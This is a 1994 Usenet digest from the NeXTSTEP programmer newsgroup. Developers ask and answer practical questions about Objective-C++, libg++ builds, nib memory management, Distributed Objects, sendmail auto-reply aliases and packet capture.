Newsgroups: comp.sys.next.programmer From: bbernhar@silver.ucs.indiana.edu (benjamin bernhard) Subject: automatic mail reply Message-ID: <CLqy60.Cy8@usenet.ucs.indiana.edu> Sender: news@usenet.ucs.indiana.edu (USENET News System) Organization: Indiana University Date: Thu, 24 Feb 1994 20:56:24 GMT Does anybody know how vacation is implemented? I'd like to build an auto-reply mechanism for standard Unix mail, and vacation provides a good chunk of the functionality I want. However, the interface is lousy for my purposes, and a few key features are missing. Is source code available anywhere? Who developed the NeXTanswers and ANDI mail servers? These apps also provide functionality that overlaps with my project. thanks for any help, ben -- __________________________________________________________________________ Ben Bernhard "Nothing that results from human progress 812/339-5304 (fax) is achieved with unanimous consent." bbernhar@cs.indiana.edu ---Christopher Columbus
Newsgroups: comp.lang.objective-c,comp.lang.c++,comp.sys.next.programmer,gnu.g++.help From: Paul_Kunz@slac.stanford.edu (Paul Kunz) Subject: Re: Objective-C and C++ (at the same time) Message-ID: <CLqy63.I3E@unixhub.SLAC.Stanford.EDU> Sender: news@unixhub.SLAC.Stanford.EDU Organization: Stanford Linear Accelerator Center References: <CLqL0u.9KL@cdsmail.cdc.com> Date: Thu, 24 Feb 1994 20:56:26 GMT In article <CLqL0u.9KL@cdsmail.cdc.com> Ben Youngdahl <Ben.Youngdahl@cdc.com> writes: > This sounds interesting... is this Objective-C++ only available to NeXT > users? As far as I can tell GNU gcc does not yet support Objective-C++, althought it accepts the flag "-lang-objc++". So that leaves only the NeXT version of gcc > Does it allow multiple inheritence? No, because Objective-C doesn't. > Can a class have one method written in Objective-C, and another > written in C++? No. > How freely can you mix the code? > Here are some examples... // init method in SimpleCalc.C; an Objective-C++ class - init { cplus_object = new CalcEngine; // new is a keyword in C++. previousAction = 0; return self; } // User pressed the Clear All key. - clearAllKey:sender { cplus_object->clear(); // invoke C++ member function [self registerAction:0]; return [self clearKey:sender]; } // snipet [display setDoubleValue: cplus_object->equalsKey([display doubleValue])]; // send display doubleValue message, use return value as argument to C++ // member function; take return value as argument to setDoubleValue method. > Please pardon my struggling to remember objective-C syntax, but I seem to > recall that one of the best things about Objective-C was the run-time > binding > of calling methods. I.e., you want to call the method "foo" for an > object > "bar", you'd do: [bar "foo"] or something like that, and if the object > "bar" It's [bar foo] > didn't have a "foo" method, ... no harm done. Am I correct? > No, you get a run-time error saying bar does not implement foo. -- Paul F. Kunz Paul_Kunz@slac.stanford.edu (NeXT mail ok) Stanford Linear Accelerator Center, Stanford University Voice: (415) 926-2884 (NeXT) Fax: (415) 926-3587
From: gdm@fnth03.fnal.gov (Gregory D. Mahlon) Newsgroups: comp.sys.next.programmer Subject: libg++ 2.5.3 problems Date: 24 Feb 1994 21:51:51 GMT Organization: FERMILAB, Batavia, IL Message-ID: <2kj7hn$2jh@fnnews.fnal.gov> Hi everyone, I am having trouble building a functioning version of libg++.a version 2.5.3. on my NeXT station, running Nextstep 3.0. I had no trouble compiling/installing gcc version 2.5.7. When running "make check" I first encountered the problem regarding the undefined symbols "_S_ISREG" and "_S_ISCHR", which I fixed using a suggestion from this newsgroup by including their definitions in libg++-2.5.3/libio/libioP.h. Next I ran into the error message gcc -c -g -O -nostdinc++ -I. -I../../libio -I. -I./../../libio -I./../src iVec.cc In file included from iVec.cc:24: iVec.h:74: macro `index' used with just one arg iVec.cc:175: macro `index' used with just one arg We got around this by adding the line #undef index just before #include <iVec.h> in iVec.cc. This I did again in iAVec.cc. When the same problem appears while compiling tString.cc, this "fix" no longer works. The first of several similar errors is /../src/String.h: In function `void decltest()': /../src/String.h:480: the constructor `SubString::SubString(const SubString &)' is protected tString.cc:52: within this context tString.cc:52: in base initialization for class `SubString' /../src/String.h: In function `void cattest()': /../src/String.h:480: the constructor `SubString::SubString(const SubString &)' is protected I should state that I have no previous version of g++ that works on my system. My questions are: 1) was the fix for the "index" problem correct? 2) how can I fix this last problem without resorting to using an older version of g++? Any help would be awfully appreciated. Gregory Mahlon gdm@fnth03.fnal.gov
From: ivo@next.agsm.ucla.edu (Ivo Welch) Newsgroups: comp.sys.next.programmer Subject: Need Programmer for Small Project Date: 24 Feb 1994 22:08:04 GMT Organization: UCLA Microcomputer Support Office Message-ID: <2kj8g4$ad6@news.mic.ucla.edu> I would like to hire a NS programmer for a simple one-time programming job on an academic research project on usenet. The NS program should be simple to do for an experienced NS programmer, and although pay is low (I am an academic), so is the effort required. Please send me email if you are willing to deliver such a program, and at what price and date: **************** I need a simple NS wrapper program that is supposed to be used by undergraduate students in order to score various messages for a researcher. I envision it to work as follows: The NS program calls linked-in C++ routines (int) getmenum(); void getmetext(char *header, char *text, int somecode) If getmennum returns zero, the program is done. Otherwise, getmetext is to be called x times to retrieve x messages, so that x headers and x texts are to be stored. The program should then build a simple list of headers in a scroll screen (ala newsgrzer, file panels, etc), and let the user select a header. When the header is selected, an area below the screen is filled with this message's text (in a non-editable scrollable window), and a set of buttons appear that the user ought to click with a mouse on. For example, Readable Disgusting High o Yes o Medium o No o Low o where "o" is a checkbutton. The user ought to be able to select only one of these for each message. This is stored, so that the user can come back to this message later to change these selections. Upon pressing a button "done," the program then calls putme(somecode, readable-selected, disgusting-selected) for as many messages as there were available. Then the program starts all over. It is to be noted that the outside interface routines are written in gnu C++, so a simple header file needs to be provided. Also, appearance similar to that presented by NG would be a plus. Finally, a non-NS programmer should receive instructions as to how he/she might changed the criteria (optimally with an external ASCII file that contains: Disgusting: High Medium Low Readable: Yes No which the program reads at startup; alternatively, very clear instructions as to how to do this in the code would be acceptable.) Ivo Welch ivo@128.97.74.50 = next.agsm.ucla.edu Asst Prof of Finance iwelch@agsm.ucla.edu AGSM at UCLA PS: I will read my email only after March 6 again.
Newsgroups: comp.sys.next.programmer From: bodleyjc@nxsci173c.mrs.umn.edu (James Cade Bodley) Subject: Endless loop in loadNibSection Message-ID: <CLr0HK.GtC@cda.mrs.umn.edu> Sender: news@cda.mrs.umn.edu (USENET News System) Organization: University of Minnesota - Morris Date: Thu, 24 Feb 1994 21:46:31 GMT I am developing an application using Interface Builder where I reuse a majority of code from another application. To create this new application I created a new Project Builder directory (thru Project Builder) and copied all the .m (and subsequently .h) files and the nib file from the old application into the new project. I then changed the nib (using IB) to accomidate modification in the code. Everything complies without errors or warnings. But when executed it runs endlessly not even displaying a window or menu. Thru the use of gdb I found that the program dies inside the _main.m at the if ([NXApp loadNibSection: "Name.nib" owner:NXApp withNames:NO]) [NXApp run]; I have always assumed that it is getting stuck inside the loadNibSection but I suppose that it is possible that it makes it to [NXApp run]. gdb doesn't really inform me as to where it is inside the NeXT defined methods. Suggestions would be greatly appreciated! Cade Bodley
From: razor@universe.digex.net (anon) Newsgroups: comp.sys.next.programmer Subject: libc.a Date: 24 Feb 1994 17:55:05 -0500 Organization: Universal Access by Digital Express. 800-969-9090 Message-ID: <razor.762130449@universe> Hi, if anyone has a pd version of libc.a or libcs.a for Nextstep3.2 for intel, pls mail me... root@network-23.new-york.net
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: automatic mail reply Date: 24 Feb 1994 23:07:52 -0000 Organization: me organized? That's a joke! Message-ID: <2kjc08$1bu@steffi.demon.co.uk> References: <CLqy60.Cy8@usenet.ucs.indiana.edu> bbernhar@silver.ucs.indiana.edu (benjamin bernhard) wrote in comp.sys.next.programmer >Does anybody know how vacation is implemented? I'd like to build an >auto-reply mechanism for standard Unix mail, and vacation provides a >good chunk of the functionality I want. However, the interface is >lousy for my purposes, and a few key features are missing. >Is source code available anywhere? >Who developed the NeXTanswers and ANDI mail servers? These apps also >provide functionality that overlaps with my project. > >thanks for any help, >ben > >-- >__________________________________________________________________________ >Ben Bernhard "Nothing that results from human progress >812/339-5304 (fax) is achieved with unanimous consent." >bbernhar@cs.indiana.edu ---Christopher Columbus Forget it, go and get procmail. SOURCE This program is part of the procmail mail-processing-package (v2.92pre9 1993/11/29) available at your nearest USENET comp.sources.misc archive, or at ftp.informatik.rwth- aachen.de (137.226.112.172) as pub/unix/procmail.tar.Z. For NeXT Mail aware stuff you want Carl Edmans mail utilities and to compose NeXT Mail you want Joe Freemans send_attach and or that perl script. I think Perl is probably the best way to go in order to implement one of these. -- "You know what's wrong with you?" (Audrey Hepburn, Cary Grant) "No, what?" "Nothing" (Charade, 1963) (ASCII for text only messages)
Newsgroups: comp.sys.next.programmer From: msb@its.com (Michael S. Barthelemy) Subject: Re: Let us be philosophical Message-ID: <1994Feb22.155048.10175@its.com> Sender: usenet@its.com Organization: Information Technology Solutions References: <2k5emp$n0v@meaddata.meaddata.com> Date: Tue, 22 Feb 1994 15:50:48 GMT michelle@meaddata.com (Michelle Buck) writes: > Why did NeXT use structs rather than objects ? > 1. For low level things like streams, straight C is faster ... > rebuttal: I don't believe the difference is significant. Since Obj-C method calls are about four times slower than function calls and you're talking about objectifying instance variables which would be even more of a speed difference. I think you need to remember that the original machine was an '030 and as NEXTSTEP was implemented it wasn't fast. I don't think the day has come yet that we can move to the level of objectivity which you desire. The performance hit would be too much. Mike Barthelemy NEXTSTEP Developer msb@its.com
Newsgroups: comp.sys.next.programmer From: Michael_Pizolato@afs.com (Michael Pizolato) Subject: Re: Is inheritance a good idea? Message-ID: <1994Feb22.172154.1809@afs.com> Sender: Michael_Pizolato@afs.com References: <T04LBUTS@gwdu03.gwdg.de> Date: Tue, 22 Feb 1994 17:21:54 GMT Meinrad Zeller writes [snip] >Programming is really difficult. [snip] No, _design_ is really difficult. Programming, following after good design, is really easy, especially if you implement different parts of the system with different languages and different tools as appropriate. Anyone who says, "We're need an accounting application, and we're going to write the whole thing in <insert any language here>" will have difficult programming. Lots of people I know, when they find out what I do for a living, ask me what kind of computer they should buy (you wouldn't believe how many people are "thinking of getting a computer" :-). They invariably ask, first thing, "What kind of computer should I get?" I always reply that it doesn't matter, what matters is what they intend to _do_ with the computer. Once you know that, you find the apps that will best do those things, then you buy whatever computer runs those apps, thus making the answer to the original question very simple. This _always_ surprises them, because they've never thought of it that way before. The same is true of programmers, who always want to jump right into coding. Time spent creating a good design _always_always_always_ pays off tenfold later on, even if during the design phase it looks like nothing is being produced. This applies as much to designing inheritance as it does to anything else. Always view the problem at the highest possible level, and the lower levels tend to fall into place by themselves. That's why I said "Objective-C has operator overloading in the sense that method names can be the same yet behave differently." I know all about overloading vs. polymorphism, but at a higher level there's no difference to be concerned about. Consider that in Smalltalk there's no difference between methods and operators, literally. I can view Objective-C the same way with no loss of conceptual power, if it suits my needs at the moment. I think that Zeller analyzes too deeply, or gets tangled up in implementation issues. At a high level, I know I can multiply numbers regardless of their type. When I'm thinking at that level, I shouldn't have to care about any more detail than that. I don't care if it's a difficulty for the program, I just expect that the program can be coded to do it properly. It doesn't affect my design, so I can define '*' for a new mathematical matrix class with no concern for any other meanings that '*' may have. When I'm _implementing_ things, I have to worry about the specific weirdnesses of the language I've chosen, but that doesn't affect design, and it's inheritance and overloading with respect to concept and design that we're talking about in this thread. Thanx, Michael -- Michael_Pizolato@afs.com NeXTMail accepted
Newsgroups: comp.sys.next.programmer From: rpomeroy@aunext1.amd.com (Ron Pomeroy x(Coop)) Subject: Distributed MVC anyone ? Message-ID: <CLr6E4.xM@dvorak.amd.com> Sender: news@dvorak.amd.com (Usenet News) Organization: Advanced Micro Devices, Austin TX Distribution: usa Date: Thu, 24 Feb 1994 23:54:03 GMT Has anyone tried to implement a distributed MVC architecture with DO and the Appkit ? Now that would be cool! -- Ronald Pomeroy Advanced Micro Devices CAM Applications Group rpomeroy@aunext1.amd.com
Newsgroups: comp.sys.next.programmer From: davis@sonata.cc.purdue.edu (Robert Davis) Subject: Re: How do you (best) free NIB objects? Message-ID: <CLr7qJ.B3v@mentor.cc.purdue.edu> Sender: news@mentor.cc.purdue.edu (USENET News) Organization: Purdue University, West Lafayette, IN References: <2keap0$p67@dorito.cs.umd.edu> <2kikl5$2de@cnn.sim.es.com> <2kiqfi$h1@steffi.demon.co.uk> Date: Fri, 25 Feb 1994 00:23:06 GMT In article <2kiqfi$h1@steffi.demon.co.uk>, Robert Nicholson <robert@steffi.demon.co.uk> wrote: > >I dug this up the other day so I'm posting it again. Some of this >information may have changed but I hope this leads to some useful >discussion on this very important topic. and perhaps Scott can add >anything that he feels is appropriate. > (I saved this post back then, too...) >From: scott@nic.gac.edu (Scott Hess)>Subject: Tips for using NXZones w/.nibs. > > o Windows can free themselves, and all of their subviews. The > best idea is to set the Window to be freeOnClose from the IB > inspector. From your -windowWillClose: method in the delegate, > do something like: > > > - windowWillClose:sender > { > /* Make sure the Window doesn't talk to us anymore. > [sender setDelegate:nil]; > /* We should lose our local reference to the window. */ > myWindow=nil; > /* Don't free ourselves until later. */ > return [NXApp delayedFree:self]; > } > I free my windows and their delegates like this, too. But how do most people free NXApp's delegate? I tried something similar to the window technique -- putting an [NXApp delayedFree:self] in -appWillTerminate: -- but the delegate never gets a -free because the app has terminated. And there ain't no appDidTerminate: :-) So I usually stick most of my cleanup in appWillTerminate: and just don't worry that the delegate is never freed. I don't like the idea of doing a [self free] in -appWillTerminate, especially since it needs to return a meaningful value. Anyone have any better ideas? Rob -- | Robert Davis davis@sonata.cc.purdue.edu | "Look up, Hannah." NeXT Mail accepted --
Newsgroups: comp.sys.next.programmer From: Greg_Anderson@afs.com (Gregory H. Anderson) Subject: Re: BUG with Panel: canBecomeKeyWindow Message-ID: <1994Feb24.020602.379@afs.com> Sender: greg@afs.com References: <1994Feb19.024717.2966@millennium.com> Date: Thu, 24 Feb 1994 02:06:02 GMT In article <1994Feb19.024717.2966@millennium.com> Jayson Adams writes: > In article <1994Feb18.165748.971@afs.com>, Gregory H. Anderson writes: > > Here's the bug: If a later message from elsewhere in your program > > tells the Panel to setBecomeKeyOnlyIfNeeded:YES, it starts ignoring > > the return value from canBecomeKeyWindow and allows the window to > > become key anyway. > > > > Workaround: When you override canBecomeKeyWindow, also override > > doesBecomeKeyOnlyIfNeeded (return NO) and setBecomeKeyOnlyIfNeeded: > > (ignore the argument). > > Here's a cleaner workaround: don't send setBecomeKeyOnlyIfNeeded:YES > to the panel. Yeah, but that's not defensive programming, jayson. In this case, the panel is a service panel (it ties to the Font Panel and shows a mousable list of all characters available in the current font, so you can get to the non-ASCII characters easily) that could be included in almost any application. You could easily bundle and sell it as a small code library and nib file, and then you have no control over what consumers do with it. First Law of Objects: Protect Thyself Against Unwanted Data and Behavior. -- Gregory H. Anderson | "History is the fiction we invent to Revisionist Autobiographer | persuade ourselves that events are Anderson Financial Systems | knowable and that life has order and greg@afs.com (NeXTmail OK) | direction." -- Calvin & Hobbes, 7/19/93
From: mike@gatomalo.Colorado.EDU (Mike Fox) Newsgroups: comp.sys.next.programmer Subject: Promiscuous Mode Date: 25 Feb 1994 00:38:47 GMT Organization: University of Colorado at Boulder Distribution: world Message-ID: <2kjhan$bvs@sanitas.Colorado.EDU> Keywords: packet ethernet interface What is the "standard" way for capturing raw packets on the NeXT? I'm interested in both the NS/M and NS/I methods, if they differ. Has anyone ported the Berkeley Packet Filter (BPF) to the NeXT? Any pointers would be extremely helpful. Mike
From: rasmussn@jupiter.eecs.umich.edu (Craig E Rasmussen) Newsgroups: comp.sys.next.programmer Subject: Re: Detection of Connection break in Distributed Ojects Date: 25 Feb 1994 02:15:34 GMT Organization: University of Michigan EECS Dept. Message-ID: <2kjn06$pnd@zip.eecs.umich.edu> References: <1994Feb24.091149.3366@xexos.com> > In article <1994Feb24.091149.3366@xexos.com> eddie@xexos.com (Eddie Chan) > writes: > > [stuff deleted]; > > the example in the above docs. do not seem to apply to the server > side of the NXConnection. If the client dies the server will not get a > senderIsInvalid message (is this a bug?). If done properly the server will indeed get a senderIsInvalid message. For instance the server code, shown below, places the server on the funeral list of the connection and allows the server to get the senderIsInvalid message. - checkIn:sender { // request notification when // the sender goes away [[sender connectionForProxy] registerForInvalidationNotification:self]; return self; } Also, if the server connection does not use the Application Kit, as in [serverConnection runFromAppKit] then the message, [NXPort worryAboutPortInvalidation]; must be sent to spawn a thread to watch for port deaths. > But got around the problem by > making another NXConnection in the reverse direction. ie. the client now > become the server for the server ;-) > > what do the people on the net think about this solution? > > eddie. Of course I can't really comment until I saw the exact code, but it sounds like overkill to me. By the way, I have found the really difficult part of writing client/server software is cleaning up properly after the connection has died. For instance, unless done properly the connection to the client will not be freed, even though the connection is invalid. This can lead to the existence of many half-dead connections at the server, one for each time a client has logged in and then back out. At Turn of the Century Software, we are writing a simple client/server application to demonstrate one way to provide for a robust system of multiple clients connected to a remote server. Should anyone like a copy of this code when we are finished, please request it of me via email. Craig Rasmussen Turn of the Century Software 317 South Division, Suite 44 Ann Arbor, MI 48104 (313) 944-9101 rasmussn@jupiter.eecs.umich.edu -- NewsGrazer, a NeXTstep(tm) news reader, posting -- M>UQR=&8P7&%N<VE[7&9O;G1T8FQ<9C!<9FUO9&5R;B!#;W5R:65R.WT*7&UA M<F=L,3(P"EQM87)G<C$R,`I[7&-O;&]R=&)L.UQR960P7&=R965N,%QB;'5E M,#M]"EQP87)D7'1X,3$U,EQT>#(S,#1<='@S-#4V7'1X-#8P.%QT>#4W-C!< M='@V.3$R7'1X.#`V-%QT>#DR,39<='@Q,#,V.%QT>#$Q-3(P7&8P7&(P7&DP M7'5L;F]N95QF<S(T7&9C,%QC9C`@7`I<"CX@26X@87)T:6-L92`\,3DY-$9E M8C(T+C`Y,3$T.2XS,S8V0'AE>&]S+F-O;3X@961D:65`>&5X;W,N8V]M("A% M9&1I92!#:&%N*2`^('=R:71E<SI<"@I<<&%R9%QT>#$Q-#!<='@R,S`P7'1X M,S0T,%QT>#0V,#!<='@U-S8P7'1X-CDP,%QT>#@P-C!<='@Y,C`P7'1X,3`S M-C!<='@Q,34R,%QF8S!<8V8P(#X@"EQP87)D7'1X,%QT>#$Q,C!<='@R,C0P M7'1X,S,V,%QT>#0T.#!<='@U-C`P7'1X-C<R,%QT>#<X-#!<='@X.38P7'1X M,3`P.#!<='@Q,3(P,%QT>#$R,S(P7'1X,3,T-#!<='@Q-#4V,%QT>#$U-C@P M7'1X,38X,#!<='@Q-SDR,%QT>#$Y,#0P7'1X,C`Q-C!<='@R,3(X,%QF8S%< M8V8Q(%P*"EQP87)D7'1X,3$T,%QT>#(S,#!<='@S-#0P7'1X-#8P,%QT>#4W M-C!<='@V.3`P7'1X.#`V,%QT>#DR,#!<='@Q,#,V,%QT>#$Q-3(P7&9C,%QC M9C`@/B`)6W-T=69F(&1E;&5T961=.UP*/B!<"CX@"71H92!E>&%M<&QE(&EN M('1H92!A8F]V92!D;V-S+B!D;R!N;W0@<V5E;2!T;R!A<'!L>2!T;R!T:&4@ M<V5R=F5R(%P*/B!S:61E(&]F('1H92!.6$-O;FYE8W1I;VXN("!)9B!T:&4@ M8VQI96YT(&1I97,@=&AE('-E<G9E<B!W:6QL(&YO="!G970@82!<"CX@<V5N M9&5R27-);G9A;&ED(&UE<W-A9V4@*&ES('1H:7,@82!B=6<_*2X@(%P*7`I) M9B!D;VYE('!R;W!E<FQY('1H92!S97)V97(@=VEL;"!I;F1E960@9V5T(&$@ M<V5N9&5R27-);G9A;&ED(&UE<W-A9V4N("!&;W(@:6YS=&%N8V4@=&AE('-E M<G9E<B!C;V1E+"!S:&]W;B!B96QO=RP@<&QA8V5S('1H92!S97)V97(@;VX@ M=&AE(&9U;F5R86P@;&ES="!O9B!T:&4@8V]N;F5C=&EO;B!A;F0@86QL;W=S M('1H92!S97)V97(@=&\@9V5T('1H92!S96YD97))<TEN=F%L:60@;65S<V%G M92Y<"EP*+2!C:&5C:TEN.G-E;F1E<EP*7'M<"B`@("`@("`@("`@("`@("`@ M("`)"2\O(')E<75E<W0@;F]T:69I8V%T:6]N('=H96X@7`H)"0D)+R\@=&AE M('-E;F1E<B!G;V5S(&%W87E<"B`@("!;6W-E;F1E<B!C;VYN96-T:6]N1F]R M4')O>'E=(')E9VES=&5R1F]R26YV86QI9&%T:6]N3F]T:69I8V%T:6]N.G-E M;&9=.UP*("`@(')E='5R;B!S96QF.UP*7'U<"EP*06QS;RP@:68@=&AE('-E M<G9E<B!C;VYN96-T:6]N(&1O97,@;F]T('5S92!T:&4@07!P;&EC871I;VX@ M2VET+"!A<R!I;EP*6W-E<G9E<D-O;FYE8W1I;VX@<G5N1G)O;4%P<$MI=%T@ M=&AE;B!T:&4@;65S<V%G92P@7`I<"EM.6%!O<G0@=V]R<GE!8F]U=%!O<G1) M;G9A;&ED871I;VY=.UP*7`IM=7-T(&)E('-E;G0@=&\@<W!A=VX@82!T:')E M860@=&\@=V%T8V@@9F]R('!O<G0@9&5A=&AS+EP*7`H^($)U="!G;W0@87)O M=6YD('1H92!P<F]B;&5M(&)Y(%P*/B!M86MI;F<@86YO=&AE<B!.6$-O;FYE M8W1I;VX@:6X@=&AE(')E=F5R<V4@9&ER96-T:6]N+B`@:64N('1H92!C;&EE M;G0@;F]W(%P*/B!B96-O;64@=&AE('-E<G9E<B!F;W(@=&AE('-E<G9E<B`[ M+2E<"CX@7`H^(`EW:&%T(&1O('1H92!P96]P;&4@;VX@=&AE(&YE="!T:&EN M:R!A8F]U="!T:&ES('-O;'5T:6]N/UP*/B!<"CX@961D:64N7`H*7'!A<F1< M='@Q,34R7'1X,C,P-%QT>#,T-39<='@T-C`X7'1X-3<V,%QT>#8Y,3)<='@X M,#8T7'1X.3(Q-EQT>#$P,S8X7'1X,3$U,C!<9F,P7&-F,"!<"D]F(&-O=7)S M92!)(&-A;B=T(')E86QL>2!C;VUM96YT('5N=&EL($D@<V%W('1H92!E>&%C M="!C;V1E+"!B=70@:70@<V]U;F1S(&QI:V4@;W9E<FMI;&P@=&\@;64N("!< M"EP*0GD@=&AE('=A>2P@22!H879E(&9O=6YD('1H92!R96%L;'D@9&EF9FEC M=6QT('!A<G0@;V8@=W)I=&EN9R!C;&EE;G0O<V5R=F5R('-O9G1W87)E(&ES M(&-L96%N:6YG('5P('!R;W!E<FQY(&%F=&5R('1H92!C;VYN96-T:6]N(&AA M<R!D:65D+B`@1F]R(&EN<W1A;F-E+"!U;FQE<W,@9&]N92!P<F]P97)L>2!T M:&4@8V]N;F5C=&EO;B!T;R!T:&4@8VQI96YT('=I;&P@;F]T(&)E(&9R965D M+"!E=F5N('1H;W5G:"!T:&4@8V]N;F5C=&EO;B!I<R!I;G9A;&ED+B`@5&AI M<R!C86X@;&5A9"!T;R!T:&4@97AI<W1E;F-E(&]F(&UA;GD@:&%L9BUD96%D M(&-O;FYE8W1I;VYS(&%T('1H92!S97)V97(L(&]N92!F;W(@96%C:"!T:6UE M(&$@8VQI96YT(&AA<R!L;V=G960@:6X@86YD('1H96X@8F%C:R!O=70N(%P* M7`I!="!4=7)N(&]F('1H92!#96YT=7)Y(%-O9G1W87)E+"!W92!A<F4@=W)I M=&EN9R!A('-I;7!L92!C;&EE;G0O<V5R=F5R(&%P<&QI8V%T:6]N('1O(&1E M;6]N<W1R871E(&]N92!W87D@=&\@<')O=FED92!F;W(@82!R;V)U<W0@<WES M=&5M(&]F(&UU;'1I<&QE(&-L:65N=',@8V]N;F5C=&5D('1O(&$@<F5M;W1E M('-E<G9E<BX@(%-H;W5L9"!A;GEO;F4@;&EK92!A(&-O<'D@;V8@=&AI<R!C M;V1E('=H96X@=V4@87)E(&9I;FES:&5D+"!P;&5A<V4@<F5Q=65S="!I="!O M9B!M92!V:6$@96UA:6PN7`I<"D-R86EG(%)A<VUU<W-E;EP*5'5R;B!O9B!T M:&4@0V5N='5R>2!3;V9T=V%R95P*,S$W(%-O=71H($1I=FES:6]N+"!3=6ET M92`T-%P*06YN($%R8F]R+"!-22`T.#$P-%P**#,Q,RD@.30T+3DQ,#%<"G)A B<VUU<W-N0&IU<&ET97(N965C<RYU;6EC:"YE9'5<"@I]"C0T `
From: c512052@monad.missouri.edu (David Drum) Newsgroups: comp.sys.next.programmer Subject: Re: Command line program to concatenate two sound files? Date: 25 Feb 1994 02:36:43 GMT Organization: University of Missouri - Columbia Distribution: world Message-ID: <2kjo89$72u@golf.ustores.missouri.edu> References: <2kdsh8$2bt@golf.ustores.missouri.edu> David Drum writes > Is it possible to write a small command line program that taps into the > sound objects necessary and outputs the concatenated file? Well, Malcolm Crawford's excellent program did _exactly_ what I need, and the sound file is perfect. Total size: 87.25MB, 44.1kHz, 16bit, stereo; 518.733 seconds. Thanks a LOT, Malcolm! Regards, David
Newsgroups: comp.sys.next.programmer From: cedman@princeton.edu (Carl Edman) Subject: Re: PSxyshow takes a second to draw 6000 characters In-Reply-To: Scott Byer's message of Thu, 24 Feb 1994 01:41:04 GMT To: Scott Byer <byer@mv.us.adobe.com> Message-ID: <CEDMAN.94Feb24085135@capitalist.princeton.edu> Originator: news@nimaster Sender: news@Princeton.EDU (USENET News System) Organization: Princeton University References: <2kfkpl$g9k@gpo.gb.swissbank.com> <1994Feb24.014104.29748@adobe.com> Date: Thu, 24 Feb 1994 13:51:34 GMT In article <1994Feb24.014104.29748@adobe.com> Scott Byer <byer@mv.us.adobe.com> writes: Dave Griffiths writes > Subject line says it all really. This is the main cause of a > non-editable DBTableView being slow to draw. > PS: Hacker's tip: you can avoid the use of PSxyshow in your > DBTextFormatter subclass by setting _xyShow to your own object > in init. This object just needs to implement moveTo::, show:, > reset:gray: and finalize. It's a bug in the server, things get pathological when more than ~500 characters are shown at once. Below that amount, xyshow is far faster than moveto/show combinations. Really ? Even when as in the above example the characters were not randomly distributed one at a time across the screen but were part of lines of 50 or 60 characters each of which requires only a single show ? Carl Edman
From: jcs@alumni.caltech.edu (John C. Stevenson) Newsgroups: comp.sys.next.hardware,comp.sys.next.programmer Subject: tip black to white HELP Date: 25 Feb 1994 03:16:24 GMT Organization: California Institute of Technology, Pasadena Message-ID: <2kjqi8$pb3@gap.cco.caltech.edu> I have routinely "tip"ed my app from black to black hardware. I just installed on white hardware and have transfered (with tip) small files balck to white. When i try to transfer my tarred, compressed and uuencoded app (at 2.6MB) the transfer loses 40 bytes. Needles to say, that is a complete failure. In summary black to black tip of large files works black to white fails. any help out there?? I also tried white to white, but even though i had a tip cub9600 connection, the transfer rate was 2400 baud, to slow to test the large file transfer. any help out there? advTHANKSance jcs@alumni.caltech.edu
Newsgroups: comp.sys.next.programmer From: karl@ensuing.com (Karl Kraft) Subject: Re: automatic mail reply Message-ID: <CLrE37.2Ez@ensuing.com> Sender: karl@ensuing.com (Karl Kraft) Organization: Ensuing Technologies Inc. References: <CLqy60.Cy8@usenet.ucs.indiana.edu> Date: Fri, 25 Feb 1994 02:40:19 GMT In article <CLqy60.Cy8@usenet.ucs.indiana.edu> bbernhar@silver.ucs.indiana.edu (benjamin bernhard) writes: > Who developed the NeXTanswers and ANDI mail servers? These apps also > provide functionality that overlaps with my project. > I wrote the ANDI file server from scratch. You need to look at the man page for aliases and sendmail. Basically speaking, you can set an email alias to deliver a piece of mail as stdin to a program, by starting the target of the alias with a pipe. ex: decode: "|/usr/bin/uudecode" will cause mail to decode@yourhost.com to be sent to the uudecode program. You do have to be VERY conscientious about current working directory, permissons and the uid that the mail filter will be written in. -- Karl_Kraft@ensuing.com "Objects instantiated while you wait...."
From: eps@futon.SFSU.EDU (Eric P. Scott) Newsgroups: comp.sys.next.programmer Subject: Re: Promiscuous Mode Date: 25 Feb 1994 07:22:07 GMT Organization: San Francisco State University Message-ID: <2kk8uv$f5u@nic-nac.CSU.net> References: <2kjhan$bvs@sanitas.Colorado.EDU> In article <2kjhan$bvs@sanitas.Colorado.EDU> mike@gatomalo.Colorado.EDU (Mike Fox) writes: > What is the "standard" way for capturing raw packets on the NeXT? There isn't one. >I'm interested in both the NS/M and NS/I methods, if they differ. Has >anyone ported the Berkeley Packet Filter (BPF) to the NeXT? Lets hope not. > Any pointers would be extremely helpful. CERT Advisory CA-94:01, "Ongoing Network Monitoring Attacks" -=EPS=-
Newsgroups: comp.sys.next.programmer From: Jayson Adams Subject: Re: BUG with Panel: canBecomeKeyWindow Message-ID: <1994Feb25.063135.2005@millennium.com> Keywords: PasteUp, WriteDown, rah, rah, rah! Sender: jayson@millennium.com Organization: Millennium Software Labs, Inc. Posting-Application: Newsgrazer Pro References: <1994Feb19.024717.2966@millennium.com> <1994Feb24.020602.379@afs.com> Date: Fri, 25 Feb 1994 06:31:35 GMT In article <1994Feb24.020602.379@afs.com>, Gregory H. Anderson writes: > In article <1994Feb19.024717.2966@millennium.com> Jayson Adams writes: > > Here's a cleaner workaround: don't send setBecomeKeyOnlyIfNeeded:YES > > to the panel. > > Yeah, but that's not defensive programming, jayson. Hey, don't get defensive. One man's hack is another's elegant override. > First Law of Objects: Protect Thyself Against Unwanted Data and Behavior. And it's corollary: Write Every Line of Code Thyself. __jayson
From: giuliett@inf.ethz.ch (Raffaello Giulietti) Newsgroups: comp.sys.next.programmer Subject: Linking libraries into palettes Date: 25 Feb 1994 09:09:18 GMT Organization: Dept. Informatik, Swiss Federal Institute of Technology (ETH), Zurich, CH Message-ID: <2kkf7u$qvs@neptune.inf.ethz.ch> We need to link a library into a palette. We tried: libtool: succeds to link but InterfaceBuilder doesn't find a class that it needs and that is contained in the palette. PALETTELDFLAGS: (as explained in the palette.makefile) doesn't link at all. OTHERLIBS: doesn't even appear on the cc command line. Thanks Raffaello Giulietti
